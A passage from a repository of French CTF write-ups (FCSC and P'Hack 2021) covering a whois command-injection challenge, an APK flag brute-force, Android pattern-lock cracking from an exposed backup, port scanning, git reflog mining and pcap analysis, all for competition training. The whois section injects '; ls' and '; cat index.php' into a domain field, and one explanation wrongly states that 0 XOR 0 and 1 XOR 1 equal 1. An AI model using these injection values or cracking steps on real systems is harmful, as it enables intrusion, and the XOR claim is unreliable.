not in aEssayer['pos']: 82 | aEssayer['pos'].append(nextPos) 83 | aEssayer['path'].append(path+direction) 84 | posEssayes.append(pos) 85 | 86 | 87 | if __name__ == "__main__" : 88 | img = Image.open("maze.png") 89 | pixelMap = img.load() 90 | data = parse(pixelMap) 91 | print(solve(img)) 92 | -------------------------------------------------------------------------------- /2021/FCSC/misc/whois/README.md: -------------------------------------------------------------------------------- 1 | # My Whois - 25 pts 2 | 3 | > Nous avons mis en place un service en ligne faisant de la recherche de nom de domaine. Pouvez-vous accédez à son code source ? 4 | > 5 | > http://challenges1.france-cybersecurity-challenge.fr:7001 6 | 7 | Voici la tête du site en question : 8 | 9 | ![capture d'écran](screen.png) 10 | 11 | Si l'on rentre un domaine cela fonctionne en effet. Mais il y a fort à parier que le serveur exécute la commande shell `whois ` alors essayons d'envoyer `; ls` pour qu'il fasse la commande `whois; ls` et nous envoie le résultat : 12 | 13 | ![ça marche](screen2.png) 14 | 15 | Essayons de voir le code PHP avec un `; cat index.php` : 16 | 17 | ```php 18 | 36 | 37 | 38 | 39 | [...] 40 | ``` 41 | 42 | -------------------------------------------------------------------------------- /2021/FCSC/misc/whois/screen.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/FCSC/misc/whois/screen.png -------------------------------------------------------------------------------- /2021/FCSC/misc/whois/screen2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/FCSC/misc/whois/screen2.png -------------------------------------------------------------------------------- /2021/FCSC/reverse/jakarta/Jakarta.apk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/FCSC/reverse/jakarta/Jakarta.apk -------------------------------------------------------------------------------- /2021/FCSC/reverse/jakarta/README.md: -------------------------------------------------------------------------------- 1 | # Jakarta - 25 pts 2 | 3 | > Voici une application Android qui permet de vérifier si le flag est correct. 4 | > 5 | > SHA256(`Jakarta.apk`) = `0691a1401bd10c7c2d8cd196f86f8aa23acf707a98aae480a07ec5e1951a1d04`. 6 | > 7 | > [Jakarta.apk](Jakarta.apk) 8 | 9 | Première étape : ouvrir l'apk avec [Jadx GUI](https://github.com/skylot/jadx) pour jeter un œil au code Java. 10 | 11 | ![Capture d'écran](jadx.png) 12 | 13 | La classe principale demande un texte et la classe `Check` le vérifie. Voici le contenu de cette classe : 14 | 15 | ```java 16 | package com.fcsc2021.jakarta; 17 | 18 | public class Check { 19 | int[] enc = {11, 152, 177, 51, 145, 152, 153, 185, 26, 156, 177, 19, 177, 50, 156, 26, 156, 35, 176, 159, 185, 185, 185, 26, 19, 152, 177, 50, 144, 144, 176, 177, 26, 184, 190, 50, 11, 26, 51, 26, 26, 156, 19, 58, 148, 19, 176, 51, 26, 177, 58, 58, 144, 139, 152, 50, 185, 153, 177, 153, 144, 26, 176, 144, 50, 156, 145, 153, 156, 156}; 20 | String flag; 21 | 22 | public Check(String _flag) { 23 | this.flag = _flag; 24 | } 25 | 26 | public boolean valid() { 27 | int len = this.flag.length(); 28 | if (len != this.enc.length) { 29 | return false; 30 | } 31 | int[] A = new int[len]; 32 | for (int i = 0; i < len; i++) { 33 | int ch = this.flag.charAt(((i * 37) + 1) % len); 34 | for (int j = 7; j >= 0; j--) { 35 | A[i] = A[i] ^ (((ch >> j) & 1) << (((j * 5) + 3) % 8)); 36 | } 37 | } 38 | int res = 0; 39 | for (int i2 = 0; i2 < len; i2++) { 40 | res |= A[i2] ^ this.enc[i2]; 41 | } 42 | if (res == 0) { 43 | return true; 44 | } 45 | return false; 46 | } 47 | } 48 | ``` 49 | 50 | Le constructeur transmet le flag à tester et la fonction `valid` le vérifie et renvoie un booléen. Il faut que `res == 0` donc intéressons nous d'abord à ce bloc : 51 | 52 | ```java 53 | int res = 0; 54 | for (int i2 = 0; i2 < len; i2++) { 55 | res |= A[i2] ^ this.enc[i2]; 56 | } 57 | ``` 58 | 59 | Le `|` c'est un *ou* binaire et le `^` est un *ou exclusif*. Donc res vaut `0` puis à chaque tour de boucle res est égale à *elle-même ou `A[i2] ^ this.enc[i2]`*. Comme on veut que cette valeur reste à zéro, on veut que tous les *ou exclusif* valent zéro. Or par définition `0 ^ 0 = 1` et `1 ^ 1 = 1` donc le *ou exclusif* vaut zéro si les deux données sont identiques. Ce bloc compliqué regarde juste si les deux String `A` et `this.enc` sont identiques ! De plus, on voit au début que le flag transmis doit être de la même taille que le tableau `enc` donc c'est cohérent. 60 | 61 | Voyons comment est calculé `A` : 62 | 63 | ```java 64 | int[] A = new int[len]; 65 | for (int i = 0; i < len; i++) { 66 | int ch = this.flag.charAt(((i * 37) + 1) % len); 67 | for (int j = 7; j >= 0; j--) { 68 | A[i] = A[i] ^ (((ch >> j) & 1) << (((j * 5) + 3) % 8)); 69 | } 70 | } 71 | ``` 72 | 73 | Les caractères du flag transmis ne sont pas traités dans l'ordre et on leur applique une transformation étrange. Mais pas besoin de le comprendre puisqu'on sait que le flag est de la forme `FSCSC{` puis 64 caractères hexadécimaux puis `}`, cela va donc être très facile à bruteforce. Voici un programme Python qui fait le travail : 74 | 75 | ```python 76 | enc = [11, 152, 177, 51, 145, 152, 153, 185, 26, 156, 177, 19, 177, 50, 156, 26, 156, 35, 176, 159, 185, 185, 185, 26, 19, 152, 177, 50, 144, 144, 176, 177, 26, 184, 190, 50, 11, 26, 51, 26, 26, 156, 19, 58, 148, 19, 176, 51, 26, 177, 58, 58, 144, 139, 152, 50, 185, 153, 177, 153, 144, 26, 176, 144, 50, 156, 145, 153, 156, 156] 77 | flag = list("FCSC{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}") 78 | 79 | l = len(flag) 80 | for encIndex in range(l): 81 | flagIndex = ((encIndex * 37) + 1) % l 82 | for ch in "0123456789abcdef": 83 | a = 0 84 | for j in range(7, -1, -1): 85 | a = a ^ (((ord(ch) >> j) & 1) << (((j * 5) + 3) % 8)) 86 | if a == enc[encIndex]: 87 | flag[flagIndex] = ch 88 | 89 | print("".join(flag)) 90 | ``` 91 | 92 | ``` 93 | FCSC{6df723aa33b1aa8d604069a693e5990d411a7f7a7169b70e694b0bdf4d26aa9e} 94 | ``` 95 | 96 | -------------------------------------------------------------------------------- /2021/FCSC/reverse/jakarta/jadx.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/FCSC/reverse/jakarta/jadx.png -------------------------------------------------------------------------------- /2021/phack/README.md: -------------------------------------------------------------------------------- 1 | # P'Hack CTF 2 | 3 | Le P'Hack CTF est organisé quatre Lillois qui travaillent pour Ineat. 4 | 5 | ### Forensic 6 | 7 | * [Android Cloud (128 pts)](./forensic/android.md) 8 | * [Git de France (128 pts)](./forensic/git.md) 9 | * [Piraterie épisode 1, 2 et 3 - 1536 pts](./forensic/piraterie.md) 10 | 11 | ### Misc 12 | 13 | * [Quick Response Code (128 pts)](./misc/qrcode.md) 14 | * [A-Maze-Ing (256 pts)](./misc/amazing.md) 15 | 16 | ### Réseau 17 | 18 | * [Journée portes ouvertes (128 pts)](./reseau/portes-ouvertes.md) 19 | * [Tenet (128 pts)](./reseau/tenet.md) 20 | * [Système de nom de domaine (128 pts)](./reseau/nom-domaine.md) 21 | * [Ping Pong (256 pts)](./reseau/ping-pong.md) 22 | * [Thief (256 pts)](./reseau/thief.md) 23 | 24 | ### Reverse 25 | 26 | * [No strings (128 pts)](./reverse/nostrings.md) 27 | 28 | ### Système 29 | 30 | * [Sudoku (128 pts)](./systeme/sudoku.md) 31 | * [ To B, or ! to B (128 pts)](./systeme/to-be-or-not.md) 32 | * [Sudoku v2 (256 pts)](./systeme/sudoku-v2.md) 33 | * [Graduated (256 pts)](./systeme/graduated.md) 34 | 35 | ### Web 36 | 37 | * [PHackTory (256 pts)](./web/phactory.md) 38 | 39 | ### Stégano 40 | 41 | * [Caumunikassion (128 pts)](./stegano/caumunikassion.md) 42 | * [Alter Egg-o (256 pts)](./stegano/alter_egg-o.md) 43 | * [Aliens (256 pts)](./stegano/aliens.md) 44 | -------------------------------------------------------------------------------- /2021/phack/forensic/TranscodedWallpaper.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/phack/forensic/TranscodedWallpaper.jpg -------------------------------------------------------------------------------- /2021/phack/forensic/android.md: -------------------------------------------------------------------------------- 1 | # Android Cloud - 128 pts 2 | 3 | > Un service américain propose de se débarasser définitivement de son smartphone grâce à sa nouvelle plateforme de AaaS (Android as a Service). 4 | > 5 | > Mais méfiant de nature, vous décidez d'aller vérifier par vous même que la sécurité correspond à vos standards. 6 | > 7 | > Lien du challenge : `http://android-cloud.phack.fr` 8 | > 9 | > Artiste : `@Pdrooo` 10 | 11 | La page web contient un joli smartphone Android où l'on doit dessiner un schéma de déverrouillage. Le chemin dessiné est envoyé à un script PHP qui nous répond si notre schéma est accepté ou non. 12 | 13 | En bas de la page on distingue ceci : `Last backup on Sat Mar 10 2020, 17:16:18 (UTC+1)`. Le mot `backup` dirige vers la page `backup.php` qui contient le code suivant : 14 | 15 | ```php 16 | open("./dev-backups/" . $filename, (ZipArchive::CREATE | ZipArchive::OVERWRITE))) { 25 | die("Archive init failed"); 26 | } 27 | 28 | $source = realpath("/mnt/mtp/device/029746912983"); 29 | 30 | $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($source), RecursiveIteratorIterator::SELF_FIRST); 31 | 32 | foreach ($files as $file) { 33 | 34 | if (in_array(substr($file, strrpos($file, '/') + 1), array('.', '..'))) { 35 | continue; 36 | } 37 | 38 | $file = realpath($file); 39 | 40 | if (is_dir($file)) { 41 | $archive->addEmptyDir(str_replace($source . '/', '', $file . '/')); 42 | } elseif (is_file($file)) { 43 | $archive->addFromString(str_replace($source . '/', '', $file), file_get_contents($file)); 44 | } else { 45 | die("Dealing with unknown file type."); 46 | } 47 | } 48 | 49 | $archive->close(); 50 | 51 | ?> 52 | ``` 53 | 54 | Ce site fait des backups d'un téléphone sous forme de zip. Si l'on essaye de trouver celui de la date correspondante (http://android-cloud.phack.fr/dev-backups/backup@03-10-2020.zip) on récupère en effet une archive de 114 Mo. Une rapide recherche sur Internet nous apprend que le pattern de déverrouillage est stocké dans `/data/system/gesture.key` et qu'il est très facile à cracker car c'est un SHA-1 d'une assez petite suite de chiffres. On trouve [un outil](https://github.com/sch3m4/androidpatternlock/) qui va faire le travail : 55 | 56 | ``` 57 | $ python2 aplc.py android/data/system/gesture.key 58 | 59 | ################################ 60 | # Android Pattern Lock Cracker # 61 | # v0.2 # 62 | # ---------------------------- # 63 | # Written by Chema Garcia # 64 | # http://safetybits.net # 65 | # chema@safetybits.net # 66 | # @sch3m4 # 67 | ################################ 68 | 69 | [i] Taken from: http://forensics.spreitzenbarth.de/2012/02/28/cracking-the-pattern-lock-on-android/ 70 | 71 | [:D] The pattern has been FOUND!!! => 04137658 72 | 73 | [+] Gesture: 74 | 75 | ----- ----- ----- 76 | | 1 | | 3 | | | 77 | ----- ----- ----- 78 | ----- ----- ----- 79 | | 4 | | 2 | | 7 | 80 | ----- ----- ----- 81 | ----- ----- ----- 82 | | 6 | | 5 | | 8 | 83 | ----- ----- ----- 84 | 85 | It took: 0.5186 seconds 86 | ``` 87 | 88 | On dessine le pattern sur le site et c'est gagné. 89 | 90 | ``` 91 | Congrats ! 92 | The flag is : PHACK{T4ke_c4rE_oF_Ur_B4cKupS!} 93 | ``` 94 | 95 | -------------------------------------------------------------------------------- /2021/phack/forensic/chall.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/phack/forensic/chall.zip -------------------------------------------------------------------------------- /2021/phack/forensic/git.md: -------------------------------------------------------------------------------- 1 | # Git de France - 128 pts 2 | 3 | > J'ai perdu mon flag quelque part dans ce projet.. 4 | > Pas moyen de remettre la main dessus :( 5 | > 6 | > Artiste : `@Pdrooo` 7 | > 8 | > [chall.zip](./chall.zip) 9 | 10 | On extrait l'archive et l'on voit des fichiers PHP, HTML, CSS et quelques images. Rien d'intéressant dans ces fichiers mais vu le nom du challenge il va surtout falloir s'intéresser au dossier caché `.git`. 11 | 12 | Un petit `git log -p` permet d'afficher l'historique des modifications mais malheureusement on y trouve rien d'intéressant... Heureusement la commande `git reflog` est beaucoup plus bavarde et l'on voit qu'il y a des commits sur 4 branches (la commande précédente ne montraient que les commit dans la branche *master*). Au lieu de toutes les explorer on va chercher un flag en clair : 13 | 14 | ``` 15 | $ git reflog -p | grep PHACK 16 | -// PHACK{Z2l0IGNvbW1pdCAtbSAiRXogZ2l0IDp0YWRhOiI=} 17 | -// PHACK{Z2l0IGNvbW1pdCAtbSAiRXogZ2l0IDp0YWRhOiI=} 18 | +// PHACK{Z2l0IGNvbW1pdCAtbSAiRXogZ2l0IDp0YWRhOiI=} 19 | ``` 20 | 21 | Le décodage du base 64 est laissé en exercice au lecteur :) -------------------------------------------------------------------------------- /2021/phack/misc/amazing.md: -------------------------------------------------------------------------------- 1 | # A-Maze-Ing - 256 pts 2 | 3 | >Un étrange serveur souhaite vous mettre à l'épreuve. 4 | > Soyez à la hauteur. 5 | > 6 | > === Connexion === 7 | > **Serveur** : `a-maze-ing.phack.fr` 8 | > **Port** : `4242` 9 | > 10 | > Artiste : `@Pdrooo` 11 | 12 | On essaie de se connecter à l'adresse donnée avec netcat... et on nous renvoie du HTML. ALors on y va avec le navigateur : 13 | 14 | > ``` 15 | > routes 16 | > 17 | > | Route | Method | 18 | > |--------|--------| 19 | > | / | GET | 20 | > | /chall | GET | 21 | > | /chall | POST | 22 | > | /flag | GET | 23 | > 24 | > rules 25 | > 26 | > Hello x, 27 | > 28 | > Your goal today is to rob the bank. 29 | > But the police is fast, you have 5 sec to reach the vault and grab the cash. 30 | > 31 | > Good luck ! 32 | > ``` 33 | 34 | Le `/flag` ne donne bien évidemment pas le flag mais voici ce que renvoie `/chall` : 35 | 36 | ```json 37 | {"token": "79cdcf1fd2e842d6a639c6866f9e7eab", "solveMe": "######################x# # # ## # # # # ##### # # ## # # # # # # # ## # # # ### ##### # ## # # # # # # ## ####### # ### # #### # # # # ## # ####### # # ### ## # # # # # # ## # # # # # # # # #### # # # # # # ## ####### # ##### # ## # # # # # ######## # # # # ### ## # # # # ## # ######### ##### ## # # # # ## # ### ### ##### # ## # #$######################"} 38 | ``` 39 | 40 | Bon, vu le nom du challenge on a clairement un labyrinthe à résoudre. La chaîne de caractère `solveMe` fait 441 caractères. Après avoir essayer de l'afficher dans tous les sens, on se rend compte que 441 c'est 21x21 et en effet, vu comme ça, ça ressemble à quelque chose : 41 | 42 | ``` 43 | ##################### 44 | #x# # # # 45 | # # # # # ##### # # # 46 | # # # # # # # # # 47 | # # # # ### ##### # # 48 | # # # # # # # # 49 | # ####### # ### # ### 50 | # # # # # # 51 | # # ####### # # ### # 52 | # # # # # # # # 53 | # # # # # # # # # ### 54 | # # # # # # # # 55 | # ####### # ##### # # 56 | # # # # # # # 57 | ####### # # # # ### # 58 | # # # # # # 59 | # # ######### ##### # 60 | # # # # # # 61 | # # ### ### ##### # # 62 | # # #$# 63 | ##################### 64 | ``` 65 | 66 | On essaie de faire une requête POST et on voit que le serveur veut du JSON avec notre token et le chemin sous forme de chaîne avec les flèches `↑↓←→`. 67 | 68 | Voici mon code : 69 | 70 | ```python 71 | import requests 72 | 73 | chall = requests.get("http://a-maze-ing.phack.fr:4242/chall").json() 74 | directions = "↑↓←→" 75 | 76 | for i in range(21): 77 | print(chall["solveMe"][i*21:i*21+21]) 78 | 79 | def nextPos(pos, dir): 80 | x, y = pos 81 | if dir=="↑": y -= 1 82 | if dir=="↓": y += 1 83 | if dir=="←": x -= 1 84 | if dir=="→": x += 1 85 | return(x,y) 86 | 87 | def getMapBloc(pos): 88 | x, y = pos 89 | return chall["solveMe"][y*21+x] 90 | 91 | def isMovePossible(pos, dir): 92 | x, y = nextPos(pos, dir) 93 | if not 0 <= x < 21 and 0 <= y < 21: 94 | return None 95 | if getMapBloc((x,y)) == "#": 96 | return None 97 | return (x,y) 98 | 99 | def opposedDirection(dir): 100 | if dir=="↑": return "↓" 101 | if dir=="↓": return "↑" 102 | if dir=="←": return "→" 103 | if dir=="→": return "←" 104 | 105 | toTry = [] 106 | startingPoisition = (1,1) 107 | solve = None 108 | 109 | for dir in directions: 110 | if isMovePossible(startingPoisition, dir): 111 | toTry.append([nextPos(startingPoisition, dir), dir]) 112 | 113 | while not solve and len(toTry) > 0: 114 | pos, path = toTry.pop(0) 115 | for dir in directions: 116 | if dir == opposedDirection(path[-1]): 117 | continue 118 | next = isMovePossible(pos, dir) 119 | if next: 120 | if getMapBloc(next) == "$": 121 | solve = path+dir 122 | toTry.append([next, path+dir]) 123 | 124 | print(solve) 125 | 126 | print(requests.post("http://a-maze-ing.phack.fr:4242/chall", json={"token":chall["token"], "solution":solve}).content) 127 | ``` 128 | 129 | ``` 130 | Congrats ! The flag is PHACK{M4zEs_4Re_7rUly_4m@zIng} 131 | ``` 132 | 133 | -------------------------------------------------------------------------------- /2021/phack/misc/data.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/phack/misc/data.zip -------------------------------------------------------------------------------- /2021/phack/misc/qrcode.md: -------------------------------------------------------------------------------- 1 | # Quick Response Code - 128 pts 2 | 3 | >Philippe XXXIV, roi de Macédoine et descendant de Philippe II, souhaiterais cacher son mot de passe sur son ordinateur pour éviter qu'on puisse facilement lui dérober. Mais pas question pour Philippe d'utiliser un gestionnaire de mot de passe (qui serait digne de garder le précieux mot de passe d'un roi après tout ?). Il décide donc d'appliquer le célèbre principe de son arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-arrière-grand-père : diviser pour mieux... enfin vous avez compris. 4 | > 5 | > Artiste : `@Pdrooo` 6 | > 7 | >[data.zip](./data.zip) 8 | 9 | Parce que le shell c'est trop cool : 10 | 11 | ``` 12 | $ for i in {1..1962}; do zbarimg -q code${i}.png | grep -v Nothing >> flag.txt ; done 13 | $ cat flag.txt 14 | QR-Code:Flag char 11 is "b" (id = 0xbd7c3a4df75441fca25be0a5e51a38d8) 15 | QR-Code:Flag char 30 is "l" (id = 0x92f69371e3e84affa01749e9846d3f96) 16 | QR-Code:Flag char 16 is "1" (id = 0x47a721d7275040e88cec9792022f620c) 17 | QR-Code:Flag char 13 is "_" (id = 0x244aa09ccdc74b9c929de75c0173df53) 18 | EAN-13:0071235000073 19 | QR-Code:Flag char 34 is "}" (id = 0xebcffffd54dc40ae9118d31dd935c8c1) 20 | QR-Code:Flag char 18 is "_" (id = 0x560d4c4876104d899328c30caa2a122e) 21 | EAN-13:0015100001536 22 | QR-Code:Flag char 0 is "P" (id = 0xd83fb7823c7047d28239ec57f936980c) 23 | [...] 24 | $ grep -v EAN flag.txt | cut -c 19- | sort -g | cut -d \" -f 2 | tr -d '\n' 25 | PHACK{MaaaYb3_Th1s_Waas_Overk1lL?!} 26 | ``` 27 | 28 | -------------------------------------------------------------------------------- /2021/phack/reseau/dump.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/phack/reseau/dump.pcapng -------------------------------------------------------------------------------- /2021/phack/reseau/dump2.pcapng: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/phack/reseau/dump2.pcapng -------------------------------------------------------------------------------- /2021/phack/reseau/nom-domaine.md: -------------------------------------------------------------------------------- 1 | # Système de nom de domaine - 128 pts 2 | 3 | > Votre équipe est sur le point de résoudre un nouveau challenge mais le nom de domaine `flag.phack.fr` ne semble pas fonctionner. Une analyse plus poussée est peut-être nécessaire. 4 | > 5 | > Artiste : `@Eagleslam` 6 | 7 | ``` 8 | $ dig ANY flag.phack.fr 9 | 10 | ; <<>> DiG 9.11.3-1ubuntu1.14-Ubuntu <<>> ANY flag.phack.fr 11 | ;; global options: +cmd 12 | ;; Got answer: 13 | ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 22788 14 | ;; flags: qr rd ra; QUERY: 1, ANSWER: 2, AUTHORITY: 0, ADDITIONAL: 1 15 | 16 | ;; OPT PSEUDOSECTION: 17 | ; EDNS: version: 0, flags:; udp: 65494 18 | ;; QUESTION SECTION: 19 | ;flag.phack.fr. IN ANY 20 | 21 | ;; ANSWER SECTION: 22 | flag.phack.fr. 3600 IN TXT "PHACK{diG_i7_4nD_f0uNd_i7_In_y0uR_dNs}" 23 | flag.phack.fr. 3600 IN RRSIG TXT 8 3 3600 20210505095646 20210405095646 50625 phack.fr. 2aZq9mA4leRxEDKg8DRepFl0NZS5So+f1CyEKs+Gx2IHwNl8dmpaFoDy G7vb0uHxFEh0mb70vtRRCtn3lPneuwTmuFXB47Ra+VCPtCx6rrtw1K3J qQGHCoxz7r2FbLB9Eqz9aVTDsbKI5QX3coFYcfMwb4J28qYB0gZ00rnM fC4= 24 | 25 | ;; Query time: 70 msec 26 | ;; SERVER: 127.0.0.53#53(127.0.0.53) 27 | ;; WHEN: Sat Apr 10 23:02:40 CEST 2021 28 | ;; MSG SIZE rcvd: 261 29 | ``` 30 | 31 | -------------------------------------------------------------------------------- /2021/phack/reseau/ping-pong.md: -------------------------------------------------------------------------------- 1 | # Ping Pong - 256 pts 2 | 3 | > Votre collegue a trouvé des traces inquiétantes en analysant le réseau de Weak'corp. 4 | > Pouvez-vous l'aider à comprendre ce que c'est ? 5 | > 6 | > Artiste : `@Eagleslam` 7 | > 8 | > [dump.pcapng](./dump.pcapng) 9 | 10 | C'est quand même fou tout ce qu'on peut faire avec un shell : 11 | 12 | ``` 13 | $ tshark -r dump.pcapng -T fields -e data | xxd -r -ps 14 | PHACK{p1n9_p0n9_p1n9_p0n9_qu1_4_d3j4_j0u3_4u_73nn15_d3_74813_?} 15 | ``` 16 | 17 | -------------------------------------------------------------------------------- /2021/phack/reseau/portes-ouvertes.md: -------------------------------------------------------------------------------- 1 | # Journée portes ouvertes - 128 pts 2 | 3 | > Il y a des courants d'air au niveau du serveur comme s'il y avait des port(e)s ouvert(e)s. 4 | > Url : `journees-portes-ouvertes.phack.fr` 5 | > 6 | > Artiste : `@Eagleslam` 7 | 8 | On commence par un petit scan de la machine : 9 | 10 | ``` 11 | $ nmap -A journees-portes-ouvertes.phack.fr 12 | 13 | Starting Nmap 7.60 ( https://nmap.org ) at 2021-04-10 22:55 CEST 14 | Nmap scan report for journees-portes-ouvertes.phack.fr (12.42.0.16) 15 | Host is up (0.065s latency). 16 | Not shown: 996 closed ports 17 | PORT STATE SERVICE VERSION 18 | 80/tcp open http? 19 | | fingerprint-strings: 20 | | NULL: 21 | |_ NNNN 22 | 5000/tcp open upnp? 23 | | fingerprint-strings: 24 | | DNSStatusRequest, DNSVersionBindReq, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NULL, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, WMSRequest, X11Probe, ZendJavaBridge, afp, giop, oracle-tns: 25 | |_ ..................t_...... 26 | 5555/tcp open freeciv? 27 | [...] 28 | ``` 29 | 30 | Houla, le rapport est très long et nmap est complètement perdu. Voyons voir pourquoi il ne détecte pas les protocoles : 31 | 32 | ``` 33 | $ nc journees-portes-ouvertes.phack.fr 5000 34 | ..................t_...... 35 | $ nc journees-portes-ouvertes.phack.fr 5555 36 | There is nothing here... ¯\_(ツ)_/¯ 37 | $ nc journees-portes-ouvertes.phack.fr 5987 38 | There is nothing here... ¯\_(ツ)_/¯ 39 | ``` 40 | 41 | OK, OK on va devoir faire un scan nous même. 42 | 43 | Voici un petit code Python qui fait ça bien proprement : 44 | 45 | ```python 46 | import socket 47 | 48 | flag = ["."]*26 49 | 50 | hote = "12.42.0.16" 51 | for port in range(5000, 6000): 52 | try: 53 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 54 | s.connect((hote, port)) 55 | txt = s.recv(1024).decode() 56 | s.close() 57 | if not "nothing" in txt: 58 | for i in range(len(txt)): 59 | if txt[i] != ".": 60 | flag[i] = txt[i] 61 | print(*flag, sep="") 62 | except ConnectionRefusedError: 63 | pass 64 | 65 | ``` 66 | 67 | ``` 68 | ..................t_...... 69 | ..................t_..R}.. 70 | ..................t_d'R}.. 71 | ......s4..........t_d'R}.. 72 | ......s4........4nt_d'R}.. 73 | ......s4cr......4nt_d'R}.. 74 | ......s4cr..c0..4nt_d'R}.. 75 | ..AC..s4cr..c0..4nt_d'R}.. 76 | ..ACK{s4cr..c0..4nt_d'R}.. 77 | ..ACK{s4cr..c0ur4nt_d'R}.. 78 | PHACK{s4cr..c0ur4nt_d'R}.. 79 | PHACK{s4cr3_c0ur4nt_d'R}.. 80 | ``` 81 | 82 | -------------------------------------------------------------------------------- /2021/phack/reseau/sublime-text.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ribt/writeups/4d8976894e3ce18f70cb0c64b04651b237f7ba76/2021/phack/reseau/sublime-text.gif -------------------------------------------------------------------------------- /2021/phack/reseau/tenet.md: -------------------------------------------------------------------------------- 1 | # Tenet - 128 pts 2 | 3 | > Fan du film Tenet de 2020 tu as désormais l'occasion dont tu rêvais d'aider ton héro préféré puisque tu viens d'intercepter une communication venant du future. 4 | > 5 | > Artiste : `@Eagleslam` 6 | > 7 | > [tenet.pcapng](./tenet.pcapng) 8 | 9 | On ouvre le fichier avec Wireshark. On voit du TCP et du TELNET. Clic droit sur le premier paquet Telnet, 10 | 11 | *Suivre le flux TCP*. En allant vers la fin, on peut lire : 12 | 13 | ``` 14 | root@e6a961d4e29f: ~/Documents.root@e6a961d4e29f:~/Documents# head secret.txt 15 | aVdzICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLFdbCldAQFcuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0BAWwppQEBAQEBzICAgICAgICAgICAgICAgICAgICAgICAgICAgZ0BAQEBXCkBAQEBAQEBXLiAgICAgICAgICAgICAgICAgICAgICAgLFdAQEBAQEAKXUBAQEBAQEBAQFcuICAgLF9fX19fX18uICAgICAgICxtQEBAQEBAQEBpCixAQEBAQEBAQEBAQEBXQEBAQEBAQEBAQEBAQEBtbV9nQEBAQEBAQEBAQFsKZEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQAppQEBAQEBAQEEqfn5+fn5WTUBAQEBAQEBAQEBBZn5+fn5WKkBAQEBAQEBAQGkKQEBAQEBBfiAgICAgICAgICAnTUBAQEBAQEFgICAgICAgICAgJ1ZAQEBAQEBiCmRAQEAqYCAgICAgICAgICAgICAgWUBAQEBmICAgICAgICAgICAgICBWQEBAQEAuCmlAQEFgICAgICAgICAgICAgICAgICBNQEBQICAgICAgICAgICAgICAgICBWQEBAYgosQEBBICAgICAgICAgICAgICAgICAgICdAQCAgICAgICAgICAgICAgICAgICAhQEBALgpXQFAgICAgICAgICAgICAgICAgICAgICBAWyAgICAgICAgICAgICAgICAgICAgJ0BAVwpkQEAgICAgICAgICAgICAsICAgICAgICAgXSEgICAgICAgICAgICAgICAgICAgICBdQEBiCmdAQFsgICAgICAgICAgLFdAQHMgICAgICAgXSAgICAgICAsV0BAcyAgICAgICAgICAgQEBAaQppQEBAWyAgICAgICAgICBXQEBAQGkgICAgICBdICAgICAgIFdAQEBAaSAgICAgICAgICBAQEBAaQppQEBAQFsgICAgICAgICAgQEBAQEBbICAgICAgXSAgICAgICBAQEBAQFsgICAgICAgICAgQEBAQEBpCmdAQEBAQFsgICAgICAgICAgQEBAQEAhICAgICAgQFsgICAgICBAQEBAQFsgICAgICAgICAgQEBAQEBAaQpkQEBAQEBAQCAgICAgICAgICAhQEBAUCAgICAgIGlBVyAgICAgICFAQEBBICAgICAgICAgIF1AQEBAQEBAaQpXQEBAQEBAQEBiICAgICAgICAgICd+fiAgICAgICxaIFlpICAgICAgJ35+ICAgICAgICAgICxAQEBAQEBAQEAKJypAQEBAQEBAQHMgICAgICAgICAgICAgICAgICBaYCAgWS4gICAgICAgICAgICAgICAgICxXQEBAQEBAQEBBCidNQEBAKmYqKlcuICAgICAgICAgICAgICAsWiAgICAgVnMgICAgICAgICAgICAgICAsVyp+fn5NQEBAZgonTUAgICAgJ1ZzLiAgICAgICAgICAsen4gICAgICAgJ05fICAgICAgICAgICAsWn4gICAgIGRAUApNQEBAICAgICAgIH5cLV9fICBfX3ovYCAsZ21XQEBtbV8gJytlXy4gICBfXz0vYCAgICAgICxAQEBACidWTVcgICAgICAgICAgICAgICAgICBnQEBAQEBAQEBAVyAgICAgfn5+ICAgICAgICAgICxXQWYKfk4uICAgICAgICAgICAgICAgIEBAQEBAQEBAQEBAISAgICAgICAgICAgICAgICAsWmAKVi4gICAgICAgICAgICAgICAhTUBAQEBAQEBAZiAgICAgICAgICAgICAgICBnZi0KJ04uICAgICAgICAgICAgICAgJ34qKipmfiAgICAgICAgICAgICAgICAsWmAKVmMuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIF9aZgp+